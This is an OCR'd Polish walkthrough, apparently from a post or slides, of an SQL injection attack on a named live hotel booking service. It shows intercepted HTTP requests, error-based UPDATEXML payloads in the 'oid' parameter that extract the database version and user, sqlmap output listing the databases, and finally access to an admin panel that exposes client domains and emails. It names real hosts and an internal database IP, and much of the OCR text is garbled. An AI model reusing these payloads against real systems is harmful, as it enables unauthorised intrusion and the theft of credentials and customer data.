Od bledu bazy az po panel
administracyjny



Nasza podroz zacznijmy od przejrzenia zakladki z
realizacjami i wybierzmy pierwsza z brzegu:

,,l Hotres

Luxury Szklarska Apartments

9

Ostatme reahzaqe

nartamentéw n

Zobaczmy jaka jest funkqonalnosc strony i uzyjmy
pierwszej z brzegu funkgcji czyli rezerwacji:

Luksusowe dpqrtqmenty :

T —

Ukazuje nam sie taka strona, wybierzmy zakres dat i
kliknijmy ustaw:



ONAS APARTAMENTY ATRAKCJE REGULAMIN KONTAKT REZERWACJA SPRAWDZ DOSTEPNOSC

Luxury Szkdarska

Luxury Szklarska Apartments OFERTY  OPINIE MOJA REZERWACJA PL v PN v

20Gru2024 > 29 Gru2024 2 x Dorosli [© Kod rabatowy

< Grudzien 2024 Styczeh 2025 >
Twaj pobyt

Apartament 1
o2z 4 s Doroglix 2

20 21 2 23 24 25 26

27 28 29 30 31

Po kliknieciu aplikacja wysyla takie zapytanie do
serwera:

[ send JE < Target: httpsi/fbooking.hotres.pl /| HTTPI2 (3)

Inspector "= @x

Request Response *
Pretty  Raw  Hex W = | Pretty Raw Hex  Render Request attrbutes 2 v 3
1 GET /v4_stepl/search?arrival=2024-12-208depar tur e=2024- 12- 296adul ts%SBuSD=26code=tref = 1 HTTP/2 200 0K 3
www. luxuryszklarska.placleal auth=5774e5e004a2331683f 1398d0ceb929761ang=p 1 601 d=3886& 2 P3p: CP="CAD PSA OUR NAV UNI" Request query parameters 1 M =
tid_ontop=srid_ontop= HTTP/2 2 Access-Control-Allow-Origin: *
> Host: booking.hotres. pl 4 Access-Control-Allow- Credentials: true Request body parameters 0 -
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 S Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, B
Firefox/133.0 X- Content-Duration, X-Content-Security-Policy, X-Content-Type-Options, Request cookies 0o -
4 Accept: */* X-Forwarded-For, X-Requested-ith z
S Accept-Language: en-US,en;q=0.5 S Expires: Thu, 19 Nov 1981 08:52:00 GMT e——— —
Accept-Encoding: gzip, deflate, br Cache-Control: no-store, no-cache, must-revalidate equest headers Lt}
X-Requested-With: XM_HttpRequest 2 Pragma: no-cache
ont: 1 Set-Cookie: PHPSESSID=krl717rj2adsaah7883gfildak; path=/ Response headers B v
9 Referer: 0 vary: Accept-Encoding,User-Agent
https://booking.hotres.pl/v4_stepl?ref=www.luxuryszklarska.plsclear=16auth=5774e5e004a23 Content-Length: 31715
31683f 1398d0ceb929751 ang=pl 601 d=38868ar r1 val =2024- 12- 206depar ture=2024- 12-20 2 Content-Type: text/html; charset=UTF-8
Sec-Fetch-Dest: empty 3 Date: Fri, 20 Dec 2024 12:18:45 GHT
Sec-Fetch-Mode: cors Server: Apache/2
Sec-Fetch-Site: same-origin
3 Priority: u=0 <div class="wrap container-fluid"s>
14 Te: trailers <div class="row">
15
<div class="col-xs-12 col-md-8 col-lg-8'>
<div class="mainbar">
<h2 class="chooseRoomsTitle">
wybierz Apartament
/h2>
<div elass="roomsiirap"s
<div class="room">
<div class="row middle-xs">
<div class='col-xs-12 col-sm-5 col-md-5 col-1g-6 col-align-top'>
<div
[OX:HTIIES £ Ohighights | () {8 &[] | Search £ | Ohighlights
Done 32,330 bytes | 450 milis

Eventlog (2)° Al issues © Memory: 203.0MB

Sprawdzmy zatem jak zachowuje sie serwer gdy
zmodyfikujemy jakis parametr, dodajmy znak ‘ do
arametru oid:



Target: https:/fbooking.hotres.pl /® | HTTP2 (3)

@ <l
= " Inspector T ® X a
Request Response g2
Pretty  Raw  Hex ® = | Prefty Raw  Hex  Render N = Requestattibutes 2 v |2
3

1 GET /v4_stepl/search?arrival=2024-12- 206departure=2024- 12- 298adul ts%SE%SD=26cod: = a1 2
wuw. Luxuryszk Larska. placlear=18auth=5774e5200422331683f 1398d0ceb 920761 ang=p L &oi d=: zese‘h 3 Dorosli x 2 Request query parameters v 8
tid_ontop=grid_ontop= HITP/2 ”

2 Host: booking.hotres.pl a4 </divs Request body parameters 0 v
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rvil33.0) Gecko/201001@1 3645 B
Firefox/133.0 4 <div class="col-xs-12 col-md-4*> Request cookies 0 v

4 Accept: #/% z

5 Accept-Language: en-US,en;q=0.5 o 2
Accept-Encoding: gzip, deflate, br Hequestheaders i &

7 X-Requested-With: XMLHttpRequest

2 ont: 1 Response headers B v

o Referer:

https: //booking.hotres.pl/v4_stepl?ref=www.luxuryszklarska.placlear=18auth=5774252004a23

31683 1308d0ceb920751 ang=pl 6o d=38868arrival =2024- 12- 208depar ture=2024- 12- 20 <Jdiv>
Sec-Fetch-Dest: empty </divs
1 sec-Fetch-Mode: cors
12 sec-Fetch-site: same-origin
13 Priority: </dive
Te: trailers
</div>

<div class="sidebarBtn">
</d1v>

4 </div>
</div>

</div=

</div>

71 </div>

widgetsearchloghodel - »addFronRequest SQLSTATE[42000]: Syntax error or access
violation: 1064 You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
12024-12-20', referer_url='luxuryszklarska.pl', arrival='2024-12-20', departure='' at
line 1, query was: INSERT INTO cms_be_search_log SET oid='3886'', uid='',
date='2024-12-20', referer_url='luxuryszklarska.pl', arrival='2024-12-20',
departure='2024-12-29', adults='2', child , childz="0', childs='0', fmm
ride't, tide'', ip='100.173.159.108', sig = '543Le0161fbsesSeesscl43cabas12dd!,
add_date = '2024-12-20 13:23:28' ON DUPLICATE KEY UPDATE date_cnt = date_cnt+l;

[l IGIENREEE] o onigights | () 8} [ €[] | Search £ | 0highlights

Done 160,992 bytes | 307 milis
Eventlog (2)° Al ssues @ Memory: 199.4MB

Naszym oczom ukazuje sie blad bazy danych co
samo W sobie juz jest powaznym bledem
bezpieczenstwa, po 1 dostajemy informacje z jakiej
bazy danych korzysta serwer a po 2, mamy dokladna
skladnie zapytania i wiemy co sie dzieje na
backendzie, takze mozemy wykorzystac te wiedze, by
bardziej spersonalizowac i przyspieszyc nasz atak na
baze danych.

Zacznijmy od pozyskania podstawowych danych



takich jak wersja bazy danych:

Target: hitps:/fbooking.hotres.pl /9 | HTTP2 (3)

) <[>0
@="=  inspector w &% a
Request Response =
Pretty  Raw  Hex W = | Prety Raw Hex  Render N = Selection 606) A 3
1 GET /v4_stepl/search?arrival=2024-12- 208departure=2024- 12- 208adul ts%5B%SD=26code=ref = — 3
www. Luxuryszk larska. placlear=18auth=5774e5e00422331683f 1308d0cebg29761 ang=p &oi d= g
86" +and+UPDATEXML (5232, concat (0x2e, 0x71767a7a71, (mid( (version () )+from+1+for+22)),0x717 Dorosli x 2 8.0.36
7a6b71),2643) - -+akogtid_ontop=arid_ontop= HTTP/2
2 Host: booking.hotres.pl </divs B
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 _64; rv:133.0) Gecko/20100101
Firefox/133.0 <div class="col-xs-12 col-md-4*> Request attibutes 2 v
4 Accept: */* 3
S Accept-Language: en-US,en;q=0.5 Request query parameters. n v @
Accept-Encoding: gzip, deflate, br
7 X-Requested-with: XMLHttpRequest e — D o
S Dnt: 1
Referer:
https: //booking.hotres.pl/va_stepl7ref=ww. Luxuryszklarska. placlear=16auth=5774e56004223 ERaueet cokes D v
31683 1398d0ceb929761 ang=pl 601 d=38866ar rival =2024- 12- 206depar ture=2024- 12-29 </divs
Sec-Fetch-Dest: empty </div> Request headers 16 v
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin Response headers B v
priority: u=o </div>
Te: trailers
</div>

<div class="sidebarBtn">
</div>

</div>
s </div

</div>

</div>
</div>

widgetsearchloghodel ->addFronRequest SQLSTATE[HY000]: General error: 1105 XPATH
syntax error: 'quzzq8.0.36hxzkq’, query was: INSERT INTO cms_be_search_log SET
0id='3886' and UPDATEXML(5232, concat (Ox2e,0x71767a7a71, (mid({version()) from 1 for
22)),0x71787a6b71),2643) - - jako', uid='', date='2024-12-20',
referer_url='luxuryszklarska.pl', arrival='2024-12-20', departures'2024-12-29',
adults='2", childl="0', child2='0', child3='0', found='@', rid='', tid='',
1p='109.173.150.103', sig = '8500bee50220dca30fefdcbdoea25000', add_date = '2024-12-20
13:32:17' ON DUPLICATE KEY UPDATE date_ent = date_cnt+l;

[ IGIENREEE] o onigights | () (€[] | search £ | 0highlights.

Done 163,097 bytes | 420 mills
Eventlog (2)° Al issues @ Memory: 207.6MB

W odpowiedzi serwera widzimy zaznaczona wersje
8.0.36, co jest dowodem ze mozemy odpytywac baze
jak chcemy i ona z checia wyjawi nam wszystkie
swoje sekrety.

Zobaczmy dalej na przyktad jaki jest uzytkownik bazy
anych:



Target: https:/fbooking.hotres.pl /® | HTTP2 (3)

© <[>
= ™ Inspector wz-®x g
Request Response g2
Pretty ~ Raw  Hex ® W = | Prety Raw Hex  Render N = | Selection 6(0xla) A | 3
P <
1 GET /vd_stepl/search?arrival=tdeparture=sadultsuSEuSD=26code=tref =ww. Luxuryszklarska.pl 2
= Selected text g
sclear=1sauth=slang=pleoi d= g
3886' +and+UPDATEXML (5232, concat (@x2e, 0x20, (mid((user ())+from+1+for+26)) ,0x20) , 2643) - -+ja hotres_root@146.59.118.137
kostid_ontop=grid_ontop= HTTP/2 Doresli x 2
2 Host: booking.hotres.pl B
5 User-Agent: Mozilla/s.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko /20100101 <divs
Firefox/132.0 Request attibutes 2 v |2
4 Accept: */* <div class="col-xs-12 col-md-4"> 2
S Accept-Language: en-US,en;q=0.5 Request query parameters. n v @
Accept-Encoding: gzip, deflate, br
7 X-Requested-With: XMLHttpRequest Request body parameters m
S Dnt: 1
Referer: 54 Request cookies 0
https: //booking.hotres.pl/va_stepl?ref=wa. Luxuryszklarska.plsclear=18auth=5774e5¢004a23 | o5 q v
31683 1398d0ceb929761 ang=pl 601 d=38866ar ri val =2024- 12- 206depar ture=2024- 12- 29
10 Sec-Fetch-Dest: empty 7 </div> Request headers 6 v
11 : cors 8 </div>
Response headers B v

: same-origin

e: trailers 1 </div>

73 </div>

7 <div class="sidebarBtn">
7 </divs

</div>
78 </div=

</div>

</div=

84 </div>
WidgetsearchlogModel->addFronRequest SQLSTATE[HYO00]: General error: 1105 XPATH syntax
error: 'hotres_root@146.59.118.137 ', query was: INSERT INTO cms_be_search_log SET
0id="3886' and UPDATEXML (5232, concat (0x2e,0x20, (mid((user()) from 1 for
26)),0x20),2643) -~ jak', uid='', date='2024-12-20', referer_url='luxuryszklarska.pl®,
arrival='', departure='', adults='2', childl='0', child2='0', child3='0', found='0',
id='', tid='', ip='109.173.159.103', sig = '3af7e2eddboedosfagtfsds7717basbs', add date
= 12024-12-20 13:39:21' ON DUPLICATE KEY UPDATE date_cnt = date_cnt+1;

[l IGIENREEE] o onigights | () 8} [ €[] | Search £ | 0highlights.

2,438 bytes | 257 mills
@© Memory: 220.9MB

Done

Eventlog (2)* Al issues.

Oczywiscie caly proces mozemy zautomatyzowac i
uzyc odpowiedniego skryptu napisanego w pythonie
zeby pobrac informacje do jakich baz danych ma
dostep dany uzytkownik i co sie w nich znajduje:

pot a 301 redirect to 'https://booking.hotres.pl/v4_stepl/search?adults%5B%5D=2&01d=1426". Do you want to follow? [Y/n] Y
kqlmap resumed the following injection point(s) from stored session:

arameter: oid (OPTIONS)
Type: error-based
Title: MySQL .1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
Payload: adults[]=2&o01d=1426"' AND UPDATEXML(7062,CONCAT(0x2e,0x71767a7a71,(SELECT (ELT(7062=7062,1))),0x71787a6b71),521
[ 11 ] changes made by tampering scripts are not included in shown payload content(s)
[ 110 ] testing MySQL
[ 11 ] you should consider usage of switch ' t' along with tamper script mmalessmid’
[ 11 1 confirming MySQL
[ 11 ] the back-end DBMS is MySQL
web application technology: PHP, Apache 2
back-end DBMS: MySQL 8.0.0
] fetching database names
resumed: 'informati GELER
resumed: 'performance schema'
resumed: 'hotres_panel’
resumed: 'hotres_minor'
resumed: 'hotres log'
vailable databases [5]:
*] hotres_log
*] hotres_minor
hotres_panel
information_schema
*] performance schema

I na koniec sprawdzmy czy mozna jakos wykorzystac



informacje znajdujace sie w tych bazach,
skorzystajmy z bazy hotres_panel gdzie znajduje sie
tabela cms_users ktéra zawiera dane logowania do

panelu na stronie lemonpixel:

lemonpixel

Domeny I Hosting

NAZWA SERWER NUMER NIP AKCE
LUXLUX Apartments mm/dd /yyyy a] 150 12/15/2024 [m] Bgmail.com 7o
Iuduxapartments pl Domena : 5 dni po terminie
> Domeny i hosting Apartamenty Lisowski mm/dd /yyyy a] 200 03/24/2025 (] @o2pl s e
apartamentyisowskipl
L
Demure.pl mm/dd /yyyy [a] 100 11/12/2025 =] i@wp.pl 7
demure.pi
Teja Apartamenty mm/dd /yyyy a] 100 07/06/2025 =] @wppl 7
tejoapartamentycom
Dom Krawca Miyriska 17 0 mm/dd /yyyy m] 150 01/10/2025 (=] @op.pl 7o
miynska17.eu
sztolnie Kowary mm/dd /yyyy [m] 100 01/15/2025 [m}] @jeleniastruga.pl s
mm/dd /yyyy =] 100 01/15/2025 (] @domszymona.pl 7o
DT sklep mm/dd /yyyy a] 100 05/03/2025 [} @gmail.com 7
atsidepp
Serenity mm/dd /yyyy a] 100 1171472025 [m] @skandynawskiedomy.pl




